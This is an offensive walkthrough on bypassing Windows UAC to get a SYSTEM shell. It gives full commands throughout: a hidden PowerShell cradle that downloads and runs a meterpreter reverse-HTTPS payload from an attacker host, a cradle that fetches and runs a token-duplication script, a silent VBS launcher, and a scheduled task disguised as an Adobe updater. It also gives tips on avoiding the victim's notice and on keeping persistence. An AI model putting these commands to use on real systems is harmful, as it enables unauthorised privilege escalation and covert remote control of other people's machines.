Bypass UAC and get System:

- Thanks to enigma0x3 for the UAC bypass (Invoke-TokenDuplication)
- If the user is running an account that has admin rights but you are not in an admin shell this is how you can bypass UAC even if it is set to always notify. You can do all of this from teamserver/metasploit with only a single brief popup appearing on the victims machine.
- You'll want to put your payload executable in a batch file. For this example we will use the powershell web delivery method with a windows/meterpreter/reverse_https payload:

    -
      ```
      powershell -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('https://x.x.x.x:8080/payload');
      ```
    - Save this in c:\programdata\adobe\updater\update.bat
- The next thing you'll want is a vbs file that you can use to silently execute the batch from from scheduled tasks.

    -
      ```
      CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
      ```
    - Save this in c:\programdata\adobe\updater\update.vbs
- Use the update.bat file from above with the invoke-token duplication script (run this from a command shell on your target

    -
      ```
      powershell.exe -Version 2 -nop -w hidden -c "&{[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-TokenDuplication.ps1'); Invoke-TokenDuplication c:\programdata\adobe\updater\update.bat}"
      ```
    - This will create a temporary popup on the users screen. Best to do this after hours or figure out a method that won't make it pop up. However, once it runs, you will have a new admin shell.
- Once the new shell pops, move to it and create a scheduled task using the same method above, set for one minute in the future that runs as system

    -
      ```
      schtasks /create /tn AdobeUpdate /ru system /tr "wscript.exe ‘c:\ProgramData\Adobe\Updater\update.vbs’ ‘c:\ProgramData\Adobe\Updater\update.bat’" /sc once /st 16:46:00
      ```
    - The 16:46:00 should be set to one minute from whenever you create the task to pop the system shell when it runs
    - Sidenote: you can also create this as a daily task instead of a run once to keep persistence, but you are more likely to get caught